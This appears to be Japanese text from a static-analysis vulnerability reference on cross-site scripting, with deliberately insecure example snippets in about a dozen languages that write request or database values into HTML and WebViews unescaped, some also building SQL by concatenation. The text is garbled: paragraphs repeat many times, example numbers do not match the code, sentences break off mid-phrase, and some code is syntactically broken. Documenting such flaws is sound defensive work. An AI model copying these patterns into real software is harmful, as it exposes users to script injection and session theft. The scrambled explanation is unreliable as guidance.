url の値が javascript: から始まる場合、それに続く JavaScript コードが WebView 内の Web ページのコンテキストから実行されます。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 3 に示したように、アプリケーション外のソースで危険なデータがデータベースやその他のデータストアに格納され、その危険なデータが信頼されているデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれる場合。name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。myapp://input_to_the_application)。URL の中の信頼できないデータは、その後 UIWebView コンポーネントで HTML 出力を処理するために使用されます。
...
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]
...
Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示したように、カスタムの URL スキームからデータが直接読み取られ、UIWebView レスポンスの内容に反映されます。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある iOS アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信されるカスタムスキーム URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるアプリケーションの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてアプリケーションに反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。
<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>
name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。eid を HTTP リクエストから読み取り、ユーザーに表示します。
<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>
Example 1 と同様に、このコードは、eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。eid を HTTP リクエストから読み取ってユーザーに表示します。
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1 と同様に、このコードは、eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。eid を HTTP リクエストから読み取り、ユーザーに表示します。
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。eid を HTTP リクエストから読み取り、ユーザーに表示します。
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
Example 1 のコードは、eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 2 のように Rack::Request#params() を利用した場合、GET パラメーターと POST パラメーターの両方が表示されます。そのため、悪意のあるコードが URL に追加されるだけでなく、さまざまな種類の攻撃に対して脆弱になる可能性があります。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。eid をデータベース クエリから読み取ってユーザーに表示します。
def getEmployee = Action { implicit request =>
val employee = getEmployeeFromDB()
val eid = employee.id
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField 内のテキストに標準の英数字テキストのみが含まれる場合は問題なく動作します。inputTextField 内のテキストにメタ文字またはソースコードが含まれる場合、入力は HTTP レスポンスを表示するときに Web ブラウザによってコードとして実行されます。myapp://input_to_the_application)。URL の中の信頼できないデータは、その後 UIWebView コンポーネントで HTML 出力を処理するために使用されます。
...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...
Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 では、ユーザー制御可能な UI コンポーネントからデータを直接読み取り、HTTP レスポンスに反映します。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 3 では、ターゲット アプリケーション外部のソースが、ターゲット アプリケーションのカスタム URL スキームを使用して URL リクエストを作成し、続いて URL リクエストによる未検証のデータが信頼されるデータとしてアプリケーションに再び読み込まれ、動的コンテンツに含まれます。
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...
name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。eid を HTTP リクエストから読み取ってユーザーに表示します。
...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..
Example 1 と同様に、このコードは、eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。cl_http_utility=>escape_html などの特定のエンコーディング関数モジュールを使用すると、ある程度は攻撃を防ぐことができますが、すべての Cross-Site Scripting 攻撃を防ぐことはできません。データが出現するコンテキストによっては、HTML としてエンコードされた基本的な <、>、&、'、および " 以外の文字や、XML としてエンコードされた <、>、&、"、および ' 以外の文字も、メタ的な意味を持つ場合があります。このようなエンコーディング関数モジュールに頼ることは、脆弱な拒否リストを使用して Cross-Site Scripting を阻止しようとするのと同じことであるため、攻撃者が悪意あるコードを挿入してブラウザーで実行することを許してしまう可能性があります。データが静的に出現するコンテキストを正確に毎回特定することは不可能であるため、Fortify Secure Coding Rulepack では、エンコーディングが適用されている場合でも Cross-Site Scripting を検知して報告し、Cross-Site Scripting: Poor Validation の問題として表示します。eid を HTTP リクエストから読み取り、HTML でエンコードしてユーザーに表示します。
...
eid = request->get_form_field( 'eid' ).
...
CALL METHOD cl_http_utility=>escape_html
EXPORTING
UNESCAPED = eid
KEEP_NUM_CHAR_REF = '-'
RECEIVING
ESCAPED = e_eid.
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( e_eid ).
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
CALL METHOD cl_http_utility=>escape_html
EXPORTING
UNESCAPED = itab_employees-name
KEEP_NUM_CHAR_REF = '-'
RECEIVING
ESCAPED = e_name.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( e_name ).
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、HTML でエンコードしてユーザーに表示します。
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + escape(eid);
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + escape(name);
}
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!HTMLENCODE(variable)}'">Click me!</div>
